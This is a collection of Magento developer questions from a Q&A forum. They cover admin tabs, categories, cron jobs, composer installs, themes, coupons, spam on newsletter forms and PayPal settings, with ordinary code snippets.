texts: Backend - Product Detail Page Load Images tab with ajax

texts:
I have some products with 200+ images and the product detail pages become very slow ( depending on the number of images can crash my browser too), probably because of the big amount of html and some js )

I would like to load the images tab with ajax, in this way the problem should be reduces ( any other suggestion is welcome )

How can I accomplish this ?

What I can see it that the tab is loaded by Mage_Adminhtml_Block_Catalog_Product_Edit_Tabs::_prepareLayout()

So I have rewriten this block and modified the _prepareLayout() method so that the tab is not loaded at the first but is set to be ajax:

              if ($group->getAttributeGroupName() == 'Images') {
                    $this->addTab('group_' . $group->getId(), array(
                        'label' => Mage::helper('catalog')->__($group->getAttributeGroupName()),
                        'url' => $this->getUrl('*/*/images', array('_current' => true)),
                        'class' => 'ajax',
                    ));
                } else {
                    $this->addTab('group_' . $group->getId(), array(
                        'label' => Mage::helper('catalog')->__($group->getAttributeGroupName()),
                        'content' => $this->_translateHtml($this->getLayout()->createBlock($this->getAttributeTabBlock(),
                            'adminhtml.catalog.product.edit.tab.attributes')->setGroup($group)
                            ->setGroupAttributes($attributes)
                            ->toHtml()),
                    ));
                }

Then I rewrited the controller and created this action

public function imagesAction()
    {
        $product = $this->_initProduct();
        $setId = $product->getAttributeSetId();

        $group = Mage::getResourceModel('eav/entity_attribute_group_collection')
            ->setAttributeSetFilter($setId)
            ->addFieldToFilter('attribute_group_name', 'Images')
            ->setSortOrder()
            ->getFirstItem();

        $attributes = $product->getAttributes($group->getId(), true);

        $html = $this->getLayout()->createBlock('burnout_productpart/adminhtml_catalog_product_edit_tabs_images',
            'adminhtml.catalog.product.edit.tab.attributes')->setGroup($group)
            ->setGroupAttributes($attributes)
            ->toHtml();
        Mage::getSingleton('core/translate_inline')->processResponseBody($html);

        echo $html;
    }

The content loads but I have some js script errors:

Uncaught ReferenceError: media_gallery_contentJsObject is not defined


texts: How to check if order is reorder or new?

texts:
We have a magento 1.9 site.
When new order place we want to check this order is reordered or not using a custom PHP file.
Anyone help me to create this script.


texts: After i enable a terms and conditions its reflects a error in one page checkout in magento 2

texts:
In magento 2  after  i enable a terms and conditions its reflects a error in one page checkout

Refer Image: https://prnt.sc/nw9ivm


texts: Many times display error Service Temporarily Unavailable. what is the final solution of this situation

texts:
Service Temporarily Unavailable
The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Many times display error come in a week. I have to delete maintains flag again & again. what is the final solution of this situation.


texts:
I need to disable the shopping cart icon that is located at the top header of the webpage.
How do I disable the shopping cart icon on my website?


texts: Magento 2, category disappeared on "Catalog > Category" tree, does show everywhere else

texts:
I have a Magento 2.2.2 build, I imported my products, categories and orders from a Magento 1.6.2 (don't blame me, I just got this) build using cart2cart
Everything looks to be fine, until I tried to add a new product sub-category
The new category shows fine, but all the old categories (only sub-categories under main category) disappeared.

the categories do show on the front end navbar
the categories do show on the back end product edit page, where you select what category the product belongs to
the categories do not show on the category edit page, in the category tree.

I have tried refreshing cache, reindexing and relogging my user, I have given it a day and Googled the problem... I have found nothing close to this, and am at a loss on where to look next.
I assume it would be something I may need to toggle in the database, though with the categories showing on the product edit page I am not sure what, but I do not know where to begin looking for that, and do not want to mess with the database without knowing all the interactions

I cannot delete the offending categories, because I can't access them on the edit page
I cannot recreate the categories, because it would not allow me to keep the url key that my existing site uses, meaning a hit on ranking, I am sure, among other things like anyone who links to a product would get affected, also the old categories would still show on the menu (cant remove without access) and on product creation, causing problems and confusion there

UPDATE 12/10
I have found somewhat of a workaround for this.
I find the ID of the category in the database (catalog_category_entity_varchar.entity_id) searching by the name, getting the id, and then I replace the id in the admin url

go to manage categories
click on any category
replace the id in the url with the id of the item
make your change

that change will stick, but the item may (or may not) disappear again.. it seems to stick better if you change its parent category


texts: Meesed up "Add to cart" button in product pages

texts: Alright my store is behaving weird. some of the product pages are working fine but in some pages the "add to cart" button changes its position itself. I am attaching a thumbnail for the better understanding. please help out. thanks!!!


texts:
Create module
Create admin grid
Create button "ADD"
Create Form | Controller | Block

When I press on button "ADD"

  Magento Admin 404 Error Page not found

Where can there be a mistake? where to look


texts:
The client has 800 styles. But 1000 variations of each style since there is 4 attributes with alot of options.

So 800 configurable products with 1K simple products per configurable product so 800k products.

My concerns will be can Magento handle that and will there be some reindexing issues or any other issues?

Or is there a better way to do this?

Site: 1.9.2.2


texts: MFTF and the replacement of the Functional Testing Framework

texts:
I would like to understand more about how this works and how to utilize it properly. I do know It’s not available in the latest version of Magento installed by Composer. You need to install Magento via Github and use the 2.2-develop branch. https://github.com/magento/magento2

For instance, currently I don't see the directory /dev/tests/acceptance/. (Installed with Composer commerce edition 2.2.3)

I've read through the docs here: http://devdocs.magento.com/guides/v2.1/mtf/mtf_introduction.html

Can someone break it down in some more simplified terms/steps.


texts:
Once we go For System > Mange Stores > If we click on any store view, it will display as below image :

what name we give here , we are  displaying in frontend.

i want to display image in Name textfield. how we can achieve this ?


texts:
I'm new to Magento i have problem after ordering and also when i click (send email) button in order page a message come and say (The order email has been sent.) But actually nothing is happen i checked spam folder also nothing was there.

Magento ver. 1.9.3.0


texts: Unable to find the row no causing an error in product csv

texts:
While importing product csv file in magento 1.8.1 I am getting below error

SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'attribute_id' cannot be null

I want to find out the row causing the error.


texts: Password reset messages are all in English

texts:
The shop I'm working on has 3 store views with different languages: en_US, de_DE, and fr_FR.
When I click on the link for "Forgot your Password or want a new one?", and enter the email, I always get the message in English:

"If there is an account associated with youremail@yourshop.com you will receive an email with a link to reset your password."

In the locale csv files, the translations exist, and I've checked the keys (string before the comma), compared them with the keys used in the codes, they seem to equal.

The same problem is with other messages in the process.
Maybe the storeId value is wrong when the message will be created...


texts: Magento 1 : each() function is deprecated

texts:
In Magento 1, I have been getting this error:

  Deprecated: The each() function is deprecated. This message will be suppressed on further calls in /var/www/html/test/app/code/core/Mage/Eav/Model/Entity/Collection/Abstract.php on line 757

Code:

if (is_array($table)) {
    list($tableAlias, $tableName) = each($table);
} else {
    $tableName = $table;
}

How to solve this?

Any help would be much appreciated.


texts: Show content of phtml file on static block Magento 2

texts:
I have the code (details below) that basically generates links and images for a categories sub-categories. It is working in Magento 1.7 - we are moving to Magento 2 and I would like to get it working in Magento 2.0. Can anyone please suggest an update to get it working?

PHTML FILE LOCATION

The phtml file is located in (Magento 1.9) /template/catalog/navigation/categoryblocks.phtml

PHTML FILE CONTENTS

<?php
        //If there are sub categories
        $categories = $this->getCurrentChildCategories();
        $categoriescount = $this->getCurrentChildCategories()->count();
        if ($categoriescount > 0):  ?>

        <?php
            //Loop through categories
            foreach ($categories as $category): ?>

                    <a href="<?php echo $this->getCategoryUrl($category) ?>" class="cat-link"><?php echo $category->getName()?>

                <?php //get category products
                $categoryProducts = $category->getProductCollection();
                   if(count($categoryProducts) <> 1):?>
                <a href="<?php echo $this->getCategoryUrl($category)?>" class="cat-image">
                <?php else:?>
                <?php $product = $categoryProducts->getFirstItem();?>
                <a href="<?php echo $product->getProductUrl()?>" class="cat-image">
                <?php endif;?>
                <?php
                // If there is a thumbnail set for the category - Display it
                if($imgUrl = Mage::getModel('catalog/category')->load($category->getId())->getImage()):?>
                <img src="<?php echo $this->getBaseUrl()."media/catalog/category/".$imgUrl ?>" alt="<?php echo $this->htmlEscape($category->getName()) ?>" />
                <?php endif; ?>

            <?php endforeach; ?>

        <?php else:?>

No Sub Categories

CURRENT CALL IN STATIC BLOCK

{{block type="catalog/navigation" template="catalog/navigation/categoryblocks.phtml"}}


texts: Magento System Configuration: meaning of Currency Options

texts:
The book "Magento Beginner's Guide - Second Edition", by Packt Publishing which is the latest book to be published on Magento as of October 2013, says the following about currency configuration, which is clearly a typo:

Referring to System -> Configuration -> GENERAL -> Currency Setup

The Default Display Currency field can only be set on the Website level. This is the currency that is used to display the price of your products. If you want to use multiple stores using different default currencies, this automatically means that you need to create more Magento Websites. A Store View won't work in such a case.

I am running Magento 1.8.0.0 whose screenshots aren't different here from those of the previous release. As the following screenshot shows the Base Currency must be set at the website level, not the default display currency:

[IMG]http://i43.tinypic.com/2rddlcm.png[/IMG]

In view of this misprint, could someone please explain to me the difference between "Base Currency", "Default Display Currency", and "Allowed Currencies"?

Thanks a lot.


texts: what is requirejs-config.js in Magento2?

texts:
Can any one tell that what is the difference between the keywords that are used in requirejs-config.js like 'map','paths','shim' and 'deps' please elaborate exact difference if possible with example?

var config = {
    "map": {
        '*': {

        }
    },
    "deps": [

    ],
    "shim": {
     },
    "paths": {
    },
};


texts:
I have my helper where I want to implement my override logger.
The logger work perfect outside the helper but I can't make it work inside the helper:

namespace Acme\Module\Helper;

class Data extends \Magento\Framework\App\Helper\AbstractHelper {

protected $_logger;

public function __construct(
     \Acme\Module\Logger\Logger $logger
) {
    $this->_logger = $logger;
}

public function setLogger($message, $context = info) {
    $this->_logger->info("y pues anda daleeeeeeeeeeeeeeeeeeeee");
}

But looks like the whay i am injecting the logger class it is not the correct way to do it. I just get a 500 error so I think it is a problem in the way i am injecting the class into the helper.

=====================================================================

Edited

I manage to avoid the injection error adding a context in the construct but now my class is not overriding the logger as it should:

class Data extends \Magento\Framework\App\Helper\AbstractHelper {

protected $httpHeader;
protected $mobileAgent;

public function __construct(
    \Acme\Module\Logger\Logger $logger,
    \Magento\Framework\App\Helper\Context $context
) {
    $this->_logger = $logger;
    parent::__construct($context);
}
   public function setLogger($message, $context = false) {
    $this->_logger->info("y pues anda ooooooooooo");
}

I also found out that the context can get the folowing methods in the helper:

$context->getRequest(); // return \Magento\Framework\App\RequestInterface
$context->getUrlBuilder(); // return \Magento\Framework\UrlInterface
$context->getScopeConfig(); // return \Magento\Framework\App\Config\ScopeConfigInterface
$context->getLogger(); // return \Psr\Log\LoggerInterface
$context->getEventManager(); // return \Magento\Framework\Event\ManagerInterface
$context->getModuleManager(); // return \Magento\Framework\Module\Manager
$context->getCacheConfig(); // return \Magento\Framework\Cache\ConfigInterface
$context->getHttpHeader(); // return \Magento\Framework\HTTP\Header
$context->getRemoteAddress(); // return \Magento\Framework\HTTP\PhpEnvironment\RemoteAddress
$context->getUrlEncoder(); // return \Magento\Framework\Url\EncoderInterface
$context->getUrlDecoder(); // return \Magento\Framework\Url\DecoderInterface


texts: How to get all products that aren't in a specific category in Magento?

texts:
I'm having issue trying to get all the products that aren't in a specific category. Here's a code that works fine until I added the 'join-nin' query.

$collection = Mage::getModel('catalog/product')
                    ->getCollection()
                    ->addAttributeToSelect('*')
                    ->addAttributeToSort('created_at', 'desc')
                    ->addAttributeToFilter(
                        'status',
                        ['eq' => Mage_Catalog_Model_Product_Status::STATUS_ENABLED])
                    ->addAttributeToFilter('visibility', [ 'in' =>[ 2, 4 ] ]);

Here's my 'join-nin'

$collection = $collection->joinField('category_xxx', 'catalog/category_product', 'category_id', 'product_id = entity_id', null, 'left')
                         ->addAttributeToFilter('category_xxx', ['nin'=>24])

Now I know that currently, it would give me duplicate products (result) for some reason so I have to group the result by 'e.entity_id'

$collection->getSelect()->group('e.entity_id');

Then when I looped through the collection and print/echo their Ids, I see the product which I specifically assigned to that category (24).

TLDR:
I need to query all products with using 'in' and 'nin' for any categories.


texts:
How can I add static block in specific CMS page?

Can I do it through Layout Update XML?


texts: How to get product collection of out of stock items - opposite of addInStockFilterToCollection()?

texts:
I have a requirement to display a category's products in two lists - one for in stock items, the other for out of stock items.

I'm using

Mage::getSingleton('cataloginventory/stock')->addInStockFilterToCollection()

to filter my product collection for the in stock items, but there doesn't appear to be an equivalent method to filter for out of stock items - I've looked at the Mage_CatalogInventory_Model_Stock model, which is where the aforementioned method is defined.

I have seen the following example for retrieving out of stock products:

$collection->joinField(
                    'is_in_stock',
                    'cataloginventory/stock_item',
                    'is_in_stock',
                    'product_id=entity_id',
                    '{{table}}.stock_id=1',
                    'left'
            )
            ->addAttributeToFilter('is_in_stock', array('eq' => 0));

...but surely this isn't only or best way to achieve this?


texts: Is this really the best DI works when extending class constructors?

texts:
I have found this question and the solution presented is something I figured out should work, but I'm staggered it seems to be the accepted practice.

It seems at odds with the idea of dependency injection; duplicating the list of dependencies for every class I'm interested in extending  just seems wrong and leaves everything wide open to breaking.

I understand this is only a problem when I extend a class and want to take advantage of dependency injection in the subclass' constructor but that seems to be happening more and more as my Magento 2 projects develop.

Considering the above, and in the interest of asking a 'safe' question: Is there an alternative to __construct(MyCustomClass $myCustomClass)?


texts: Magento 2 : How to create our own bin script

texts:
I am trying to create my own script to be placed in my extension          /bin folder so that once I finished it, it should work in this way

bin/mycommandname my-customcommand

instead of running the

   bin/magento

Is there any documentation or something which someone can help me out in this regard ?


texts: Multiple coupons, and priority levels with a custom coupon

texts:
Hoping someone has tackled this problem before me, and can help me save some time. I am working on a project that has a custom discount structure, to complex for the built in promotions logic so to handle that we're assigning that discount manually via an observer, on the event sales_quote_collect_totals_after. This worked fine, up until I ran a test with a 2nd discount, a manual code, that gave a 10% discount.

Both discounts co-exist fine, however they're being applied in the reverse order for example...

Base Price: $23.97
Discount: -10% ($2.397)
Plan Discount: -$3.00 (observer)

This should be reversed to the following.

Base Price: $23.97
Plan Discount: -$3.00 (observer)
Discount: -10% ($2.097)

If anyone has any ideas or thoughts on how to move forward with this, I'd greatly appreciate it.

Thanks!


texts: What kind of server and setup does Magento CE 1.7 single store need to run efficiently with 400K+ products in DB

texts:
CE
400+ SKU's
All simple products (books)
one single image (book vocer)
No need for "compare products"
Low traffic

What about server (hardware and config)?
What about software aid (SOLR, Varnish, etc)

What I am trying to achieve is a reasonably fast front-end page delivery


texts: Magento 2 : main.CRITICAL: A valid response status line was not found

texts:
Everytime I get issue in system.log

[2018-09-10 09:35:52] main.CRITICAL: A valid response status line was not found in the provided string {"method":"GET","url":"http:/","invalidateInfo":{"server":"[object] (Zend\\Uri\\Http: http://czasowewyprzedaze.pl/)","tagsPattern":"((^|,)cat_p_19418(,|$))|((^|,)cat_p_19420(,|$))"}} []
[2018-09-10 09:35:52] main.CRITICAL: A valid response status line was not found in the provided string {"method":"GET","url":"http:/","invalidateInfo":{"server":"[object] (Zend\\Uri\\Http: http://czasowewyprzedaze.pl/)","tagsPattern":"((^|,)cat_p_19419(,|$))|((^|,)cat_p_19420(,|$))"}} []
[2018-09-10 09:35:52] main.CRITICAL: A valid response status line was not found in the provided string {"method":"GET","url":"http:/","invalidateInfo":{"server":"[object] (Zend\\Uri\\Http: http://czasowewyprzedaze.pl/)","tagsPattern":"((^|,)cat_p_19420(,|$))"}} []

Does anyone know what it is?


texts: Error 500 on page reload after move to another domain // Permission problem?

texts:
I am trying to move a magento plateform from a domain to another (in a sub folder).
To do that, i referred to this tutorial:
http://www.templatemonster.com/help/magento-how-to-move-your-website-from-one-domain-to-another.html

I think i succeed to change url modifications and database connexions because the first time i try to go the le site, the homepage worked well.

Unfortunately, then i notice when i reload this homepage i get an 500 error: Internal Server Error...

First i thought about a permission error. So i double checked the permission and i tried the magento-cleanup.php script:
http://www.magentocommerce.com/wiki/groups/227/resetting_file_permissions

I think it reset well file permissions because just after this script finished, i was able to go to the home again.
But on reload the same error come back and i have to redo the process (error > script > work > reload > error).

For information, i have configure memory_limit to 128M.

Could it be a miss configuration in the database which break the permissions?

Any advice will be welcomed.


texts:
I'm trying to add online payment in my magento store and the bank that I work with suggest for making tests that I send to them some variables for testing the security (between them the SID).

So my question is how to get SID in magento.


texts: I'm it possible to change the width of my website pages through admin panel

texts: I'm trying to change the width of my website pages from around 66% to 85% width of the whole page. Can I do this in the Admin panel easily or will I have to change the CSS code from the server?


texts: Second website on subfolder doesn't work: how to debug?

texts:
I want to create secondary website to be accessed in a subfolder. My base magento installation folder is in domain's root http://mydomain.com/. I am setting up secondary website in http://mydomain.com/ws2/.

I have created the secondary website in Magento Admin, given the code ws2 and set unsecure and secure base urls to http://mydomain.com/ws2/.

Since I am on a shared hosting, and I don't have access to apache configuration, I have followed this tutorial with Step 2- Method 1 Separate Directories for Each Store.

Essentially, I have created a new folder, copied there index.php and .htaccess. I have created the symlinks pointing at the app, include, js, lib, media, skin, var folders of the root installation.

I have edited index.php in ws2 folder, changing last line to:

Mage::run('ws2', 'website');

Unfortunately, when I access the url http://mydomain.com/ws2/, I get 404 Page Not Found error.

Have I made a big mistake? If no, how can I debug this?


texts: Newsletter and Email Spam issue Magento 1

texts:
I hope I can get a solution for this ongoing (and getting worse) issue very quick.
I have been noticing a huge amount of spam emails to my website domain email address (sales@mydomain.com). Mostly adult content along with a lot of other spam emails. Our email address is nowhere on our site. We have also been getting a very large amount of newsletter subscribers daily.

Problem is I did not connect how our email address was getting so much spam till, I realized when they sign up they get a confirmation email and noticed (after subscribing with my own personal email) they can now see our email address. I even set the newsletter to confirmation and still they get an email with our email address.

Now to fix this issue I need to get something done. I tried the CAPTCHA and for some reason does not work for newsletter and contact us form. Plus I am trying to avoid customers taking extra steps having to check off a box (i'm not a robot) or adding text. Plus when I set the newsletter to confirm I notice legit customers are not responding to the email confirmation and therefore subscribing. I want legit subscribers so I need to have less steps for them to sign up.
I have read where others suggested, CAPTCHA, Honeypot (or Honeybot) and HoneySpam. I need a reel fix asap that works. I will also say I need it to work on our Contact Us forms as well, as I get all kinds of emails through contact us for Funding, SEO Offers, Website Updates, etc.

Sorry for the long post, I need to get this fixed, and what works for my M1 site, I will need the same soon for our new M2 site we are launching in January. Thanks


texts: Magento 2 - layered navigation, get available filterItems

texts:
I have a store with 2 product attributes: BRAND and COMPATIBILITY. All products have one BRAND and one COMPATIBILITY. At the moment both attributes are used to filter product in the Store.

I need to display COMPATIBILITY as a list of dropdown options when I click on BRAND.

The question is: how can I get the available COMPATIBILITY options for each BRAND?


texts: Developing Module for 1.5-1.9 on Single Code Base

texts:
I've developed a module for Magento and it's supposed to support the versions 1.5+. I've developed it in 1.9 and it works with 1.6+. 1.5 crashes when trying to install with this error.

PHP Fatal error:  Class 'Mage_Catalog_Model_Resource_Setup' not found

How can I support all the versions from a single code base if this class is not found?

Also 1.6 works fine but refuses to install from a package generated from 1.9. I tried generating the package in 1.6 and tried using this after cleaning up the Magento instance but no joy. Still the same issue:

CONNECT ERROR: Unsupported resource type

Any ideas?


texts:
So I tried to backup my site after having some custom programming done to it.

And now the site i gone.  I can't login to the back OR see the front.

Both home and admin login give error:
Internal Server Error

File "/home/thirdcoa/domains/thirdcoastsigns.com/public_html/index.php" is writeable by group

suPHP 0.7.1

Please help!


texts:
I am working on a new project. I am facing a problem where I need to save the details when an admin user is created. I am planning to use an observer to catch the event. I need to know that is there any event in magento defined for getting the admin user creation.

Thanks in advance.


texts: Status of new Cron is missing in cron_schedule

texts:
I am developing a custom module and in that I am using Cron to disable the status of notifications.

I have written this code in config.xml

<crontab>
    <jobs>
        <disable_notifications>
            <schedule><cron_expr>*/5 * * * *</cron_expr></schedule>
            <run><model>notifications/cronjobs::disableNotifications</model></run>
        </disable_notifications>
        <test>
            <schedule><cron_expr>*/1 * * * *</cron_expr></schedule>
            <run><model>notifications/cronjobs::test</model></run>
        </test>
    </jobs>
</crontab>

All other crons expect this two are working fine and getting executed as scheduled but my crons are getting scheduled in database table 'cron_schedule' but the status updates in missed.

Please let me know the solution. I am stuck with this problem from 3 days.


texts: What to replace deprecated Class 'Zend_Rest_Client' with in Magento 2.3?

texts:
A module I'm maintaining is not working on Magento 2.3 since Magento apparently deprecated Class 'Zend_Rest_Client' . I don't see any replacement Client listed in their documentation, so I'm a bit confused on which class I should be extending now.

This is my class on line 5:

class Client extends \Zend_Rest_Client

This is the error thrown in Magento 2.3:

  ( ! ) Fatal error: Class 'Zend_Rest_Client' not found in
  /m23/app/code/Maurisource/Module/Model/Rest/Client.php on line 5


texts: Magento Shipment Email Confirmation Being Sent Twice

texts:
Our shipment confirmation email is being sent twice.

They email templates look the same except one email includes tracking while the other does not. This only happens with shipment confirmations, and not with new order notification emails.

Ship confirm email being sent twice:

Magento Sales Emails Settings:

How do I prevent 2 shipment email confirmations from being sent? I've been trying for several days but I'm having a hard time.

Magento ver. 1.7.0.2

Thank you in advance.


texts: Magento 2: How to add second template file to Catalog Product List widget

texts:
I am trying to add a second widget template option to the backend of Magento 2 so that when I choose the Catalog Product List widget I will get the choice of two templates.
I have created my second template and called it grid2.phtml. When I insert my widget code, I can change template="Magento_CatalogWidget::product/widget/content/grid.phtml to template="Magento_CatalogWidget::product/widget/content/grid2.phtml and the template changes fine on the frontend with no problems.
I am, however, having trouble adding "grid 2" as a template option on the template drop-down of creating a Catalog Product List widget page. I have tried adding this as an option in the widget.xml file (path below) in the following way
/vendor/magento/module-catalog-widget/etc/widget.xml
<parameter name="template" xsi:type="select" required="true" visible="true">
    Template
    <options>
        <option name="default" value="Magento_CatalogWidget::product/widget/content/grid.phtml" selected="true">
            Products Grid Template
        </option>
        <option name="grid2" value="Magento_CatalogWidget::product/widget/content/grid2.phtml" selected="true">
            Grid 2
        </option>
    </options>
</parameter>

But got an error on the frontend. Is there are a way of adding this second template as an option in the dropdown when creating a new widget?
Thank you!


texts: What directory and file do I find the source code for the 'Scripts & Style Sheets' settings

texts:
I need to remove some code from the 'Scrips & Style Sheets' section inside the HTML Head settings. (Navigation = Magento>Content>Design>Edit English site>HTML Head>Scripts & Style Sheets). I can't edit this on the Magento side because of our firewall settings. I need to edit this at the source but I can't find the file on our server.
Thanks in advance.


texts: Magento 2: changing custom theme default layout

texts:
I have custom theme that inherits no parent theme from Magento.

The default layout appears to be 1 column, and I am able to make modifications to that column in my custom theme's layout\default.xml file.

However, I want the default layout for the theme to be 2 column-left, not 1-column. Looking at Magento's built in themes, it appears this is done by adding the layout attribute to the page element in default.xml.

My custom theme's directory setup is as follows:

\Metal
  \bronze
    \Magento_Theme
      \layout
        default.xml
        default_head_blocks.xml
      \page_layout
        1column.xml
        2columns-left.xml
    \media
      ...
    \web
      ...
    composer.json
    registration.php
    theme.xml

default.xml

<?xml version="1.0" encoding="UTF-8"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLScema-instance"
      xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Laout/etc/page_configuration.xsd"
      layout="2columns-left">
    <body>
        <referenceContainer name="header.container">
            <container name="header.panel.wrapper" htmlClass="panel wrapper" htmlTag="div" before="-"/>
        </referenceContainer>
        <move element="header.panel" destination="header.panel.wrapper"/>
        <referenceContainer name="sidebar_main">
            <container name="sidebar_main.newsletter" htmlTag="div" before="-"/>
        </referenceContainer>
        <move element name="subscribe" destination="sidebar_main.newsletter"/>
    </body>
</page>

1column.xml

<?xml version="1.0"?>
<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_layout.xsd">
    <update handle="empty"/>
    <referenceContainer name="page.wrapper">
        <container name="header.container" as="header_container" label="Page Header Container"  htmlTag="header" htmlClass="page-header" before="main.content"/>
        <container name="page.top" as="page_top" label="After Page Header" after="header.container"/>
        <container name="footer-container" as="footer" before="before.body.end" label="Page Footer Container" htmlTag="footer" htmlClass="page-footer" />
    </referenceContainer>
</layout>

2columns-left

<?xml version="1.0"?>
<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_layout.xsd">
    <update handle="1column"/>
    <referenceContainer name="columns">
        <container name="div.sidebar.main" htmlTag="div" htmlClass="sidebar sidebar-main" after="main">
            <container name="sidebar.main" as="sidebar_main" label="Sidebar Main"/>
        </container>
        <container name="div.sidebar.additional" htmlTag="div" htmlClass="sidebar sidebar-additional" after="div.sidebar.main">
            <container name="sidebar.additional" as="sidebar_additional" label="Sidebar Additional"/>
        </container>
    </referenceContainer>
</layout>

Any changes I make to 1column.xml any of its containers referenced in default.xml will reflect on the site, but I cannot seem to update the default layout to 2 column-left. None of the defined containers will render on the page, nor will it allow me to move the default newsletter block to the sidebar as a result.

What am I missing? Is <page layout="..." not the proper way to do this?


texts: Help: Edit an order programmatically ( cancel old one and create new order with the increment ID as increment_id-x )

texts:
Please if anyone can help me, I'm trying to create a (Soap API v2 ) extension where I can edit an order programmatically, but I don't know where to start !!
I tried to use the function startAction() on Mage_Adminhtml_Sales_Order_EditController, I even changed some code on the initFromOrder($order) on Mage_Adminhtml_Model_Sales_Order_Create but what happens is that I create another order based on the old one's details. what I want is to cancel the old one and create a child order with the increment_id-x
I appreciate your help guys, and  thanks a lot


texts: Add shipping fee if product is a certain SKU AND going to certain state

texts:
I'm looking for a solution or extension that will add an additional fee on top of the already existing table rate shipping costs BUT only if the product is from a certain category (or SKU) AND going to a certain state.

My client ships products all over the US but wants to add an additional $100 to products shipping to the states west of the Mississippi river (these certain products are fragile).

Hope that makes sense.  Thanks.


texts: Customizable Option: How do I show "Personalization Text" textbox only if "Personalization" dropdown is set to "YES"

texts:
Magento2:
While adding a product I want User to select "Personalization" (Dropdown: "YES/NO"), If "YES" "Personalization Text" (Textbox) will be shown.
Currently, I am doing this using Customizable Option while adding product and both "Personalization" and "Personalization Text" are compulsory now.

Expected is:
If Personalization = YES then Personalization Text should be shown/enabled & Compulsory.
If Personalization = NO then Personalization Text should be Hidden/Disabled.
If Personalization = --Select Option-- then Personalization Text should be Hidden/Disabled.

From where shall I handle this?


texts: How to add class for Reference Block Arguments in xml file?

texts:
I have created custom in link header,
<referenceBlock name="header.links">
    <block class="Magento\Framework\view\Element\Html\Link" name="custom-link" before="-">
        <arguments>
            <argument name="label" xsi:type="string" translate="true"> Custom Link </argument>
            <argument name="path" xsi:type="string" translate="true"> customlink </argument>

        </arguments>
    </block>
</referenceBlock>

Move the element using
<move element="custom-link" destination="header.panel" after="logo" />

I can't able to add desgn for this link. I need to add images for this custom link and do some customization. How to achieve my task?


texts:
The RWD theme has several JQuery files such as rwd/default/js/app.js

I need to extends some of the functionality in this file, but it's not possible to do this in the traditional way that prototype does (Object.extend etc). Is it just a case of copying the file into my theme and doing as I please? Is this the accepted way of doing this type of work?


texts: Magento 2 : how to install magento 2 Extesion using composer from github private repository?

texts:
I have developed one extension and I have uploaded that in my GitHub private repository

  https://github.com/bhaveshpp/Percentoffsale

now I have tried to install it using

  composer require --dev bhaveshpp/Percentoffsale

but I got error

  In InitCommand.php line 727:
                                                                                Could not find a matching version of package bhaveshpp/Percentoffsale.
  Check the package spelling, your version constraint and that the
  package is available in a stability w     hich matches your
  minimum-stability (stable).

  require [--dev] [--prefer-source] [--prefer-dist] [--no-progress]
  [--no-suggest] [--no-update] [--no-scripts] [--update-no-dev]
  [--update-with-dependencies] [--update-with-all-de pendencies]
  [--ignore-platform-reqs] [--prefer-stable] [--prefer-lowest]
  [--sort-packages] [-o|--optimize-autoloader]
  [-a|--classmap-authoritative] [--apcu-autoloader] [--] []...

this is my composer.json file code

{
    "name": "bhaveshpp/Percentoffsale",
    "description": "A Magento 2 module that creates discount",
    "type": "magento2-module",
    "version": "0.1.0",
    "license": [
      "OSL-3.0",
      "AFL-3.0"
    ],
    "require": {
      "php": ">=7.0.0",
      "magento/framework": "~100.0.4"
    },
    "autoload": {
      "files": [ "registration.php" ],
      "psr-4": {
        "Zarathemes\\Percentoffsale\\": ""
      }
    }
  }

I have also try this solution

  How to install an extension on a private Github using Composer?

{
    "name": "bhaveshpp/Percentoffsale",
    "description": "A Magento 2 module that creates discount",
    "type": "magento2-module",
    "version": "0.1.0",
    "license": [
      "OSL-3.0",
      "AFL-3.0"
    ],
    "require": {
      "php": ">=7.0.0",
      "magento/framework": "~100.0.4",
      "bhaveshpp/Percentoffsale": "dev-master"
    },
    "autoload": {
      "files": [ "registration.php" ],
      "psr-4": {
        "Zarathemes\\Percentoffsale\\": ""
      }
    },
    "repositories": [
        {
            "type": "vcs",
            "url":  "git@github.com:bhaveshpp/Percentoffsale.git"
        }
    ]
  }

But i have got the same error.

If any one have a solution then provide

Any help would be appreciated.

Thanks in advance..!


texts: PayPal admin area won't save API details

texts:
I'm trying to save the 3 API credentials that PayPal Website Payments Standard asks to be filled, but once I enter them and hit Save, the default values are back in place (strange).

The fields I'm referencing are:

API Username
API Password
API Signature

I have tried to tweak some of the rest of the options for that section, but the problem remains.

I also tried to save them from an uncached browser.
I have the caches disabled.
I tried to save them after logging out, and then logging in.

Additionally, I get this error when testing on the frontend (but this is, I guess, because the default details are in place and refusing to leave):

  PayPal gateway has rejected request. Security header is not valid
  (#10002: Security error).

Do you have any idea where the culprit can be?
Thanks,


texts: How to create dynamically unique coupon codes in newsletter subscription

texts:
I want to create dynamically unique coupon code for each user that subscribe newsletter and want to embed that code into newsletter email. Is it possible if yes then what is the approach??

I am having magento 2.1.8

Thanks


texts: Magento 2 edit price field in configurable product in admin panel

texts:
In magento 2 admin, when we edit product page. Product price field is read only for configurable product.

So that Admin can't change product price for configurable product.

I want to make change so that admin can change product price from admin for configurable product.

I have created module Mymodule_ConfigurablePrice.
So, I created product_form.xml file at app/code/Mymodule/ConfigurablePrice/view/adminhtml/ui_component directory.

code in product_form.xml file is:

<?xml version="1.0" encoding="UTF-8"?>
<form xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd">
    <fieldset name="product-details">
        <field name="price">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="disabled" xsi:type="boolean">false</item>
                </item>
            </argument>
        </field>
    </fieldset>
</form>

Questions:

fieldset name is correct? if not, please suggest.
code for xml is correct? if not, please suggest.
Else please suggest best way to
achieve this.


texts:
What is the use of getJsonConfig() method?
What does this method do? What is the meaning of the below line in view.phtml

var optionsPrice = new Product.OptionsPrice(<?php echo $this->getJsonConfig() ?>);


texts: Mage Report - Unprotected Development Files

texts:
I've been reviewing the unprotected development files issue on Mage Report and have noticed that we already have a .htaccess file in with the correct recommendations however the report is still showing as unprotected.

Is there anything else we need to do with this example?

Thanks


